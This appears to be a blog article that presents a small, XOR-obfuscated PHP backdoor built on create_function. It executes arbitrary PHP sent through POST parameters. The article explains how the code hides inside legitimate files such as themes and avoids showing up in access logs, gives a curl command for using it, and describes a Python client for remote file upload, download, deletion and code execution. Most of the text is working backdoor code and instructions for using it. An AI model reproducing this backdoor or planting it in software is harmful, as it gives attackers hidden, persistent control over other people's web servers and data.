The aim of this article is to showcase a PHP backdoor that is small enough to pass unnoticed while still allowing the execution of complex operations. Maintaining access to a compromised system is one important step during penetration testing. In most cases this is achieved using backdoors. These can either live as standalone pieces of software or as part of legitimate code. And always, no matter how the backdoor is designed, being hard to discover is an important aspect.
Motivation behind this PHP backdoor
We all love free stuff, don’t try to deny it, even if we obtain it from illicit sources. For example, instead of spending 25$ on a WordPress theme, you can grab the nulled version. This applies for anything else too. And even if you use an Exploit Scanner plugin, or use VirusTotal, you can never trust bootleg stuff. It doesn’t mater if you are good at reading code, there is always a chance of something getting away unnoticed. Let me show you how easy it is to add a backdoor to legit PHP code.
The code
The following code was inspired by Eric Schoffstall’s TinyShell
As I mentioned, my aim was to keep the PHP backdoor small and unobvious, this is what I have achieved.
$_="@";$_=($_[+""]^"").($_[+""]^"").($_[+""]^"").($_[+""]^"");$_=@${"_$_"}['_']?${"_$_"}['_']("",${"_$_"}[$_]):'';$_?$_():'';
Here is a more printer friendly version.
$_="@";$_=($_[+""]^"\020").($_[+""]^"\017").($_[+""]^"\023").($_[+""]^"\024");$_=@${"_$_"}['_']?${"_$_"}['_']("",${"_$_"}[$_]):'';$_?$_():'';
Usage
You communicate with this PHP backdoor over HTTP POST requests. This ensures that nothing obvious remains in the access logs of the HTTP server. The backdoor code takes two parameters named “_” and “POST”. You should always set the first parameter to “create_function” while the other one can contain PHP code. The backdoor will create a function with the code provided in the second parameter and execute it. Here is how you would access the backdoor with CURL.
curl 'http://example.com/shell.php' -H 'Content-Type: application/x-www-form-urlencoded' --data '_=create_function&POST=echo+%27Hello+world%27%3B'
Dissecting the code
The first instruction is obvious. It sets a variable to “@”.
$_="@";
The original version from Eric Schoffstall uses another initialization. Unfortunately his version generates Notice messages on certain PHP versions
With some clever XOR-ing this variable is transformed into a string that contains “POST”.
$_=($_[+""]^"\020").($_[+""]^"\017").($_[+""]^"\023").($_[+""]^"\024");
In order to make the backdoor more easy to break into pieces you can replace the line above with four instructions that do the same thing.
$_=($_[+""]^"\020"); $_.=($_[+""]^"\037"); $_.=($_[+""]^"\003"); $_.=($_[+""]^"\004");
As I mentioned, the first request parameter is always set to “create_function”. The next instruction checks if $_POST[‘_’] contains anything and creates an an anonymous function. The body of this function is set to the value from the second request parameter. This function is stored into the same $_ variable.
$_=@${"_$_"}['_']?${"_$_"}['_']("",${"_$_"}[$_]):'';
The last part is checking if the function creation succeeded and does the function call.
$_?$_():'';
The Python client
In order to interact with the PHP backdoor in a more friendly manner I have written a small client in Python. You can find the client together with the backdoor on Github.
Requirements
The Python client requires Urwid console interface library. You can install it using pip.
pip install urwid
Usage
The client requires only on parameter, pointing to the URL of the PHP backdoor.
python client.py http://example.com/shell.php
Features
- Full directory navigation on both the local and remote machines.
- File download and upload in binary mode.
- File deletion, both locally and remote.
- Execution of arbitrary PHP code on the remote machine.
T3ZlciBBbmQgT3V0IQ==
Be First to Comment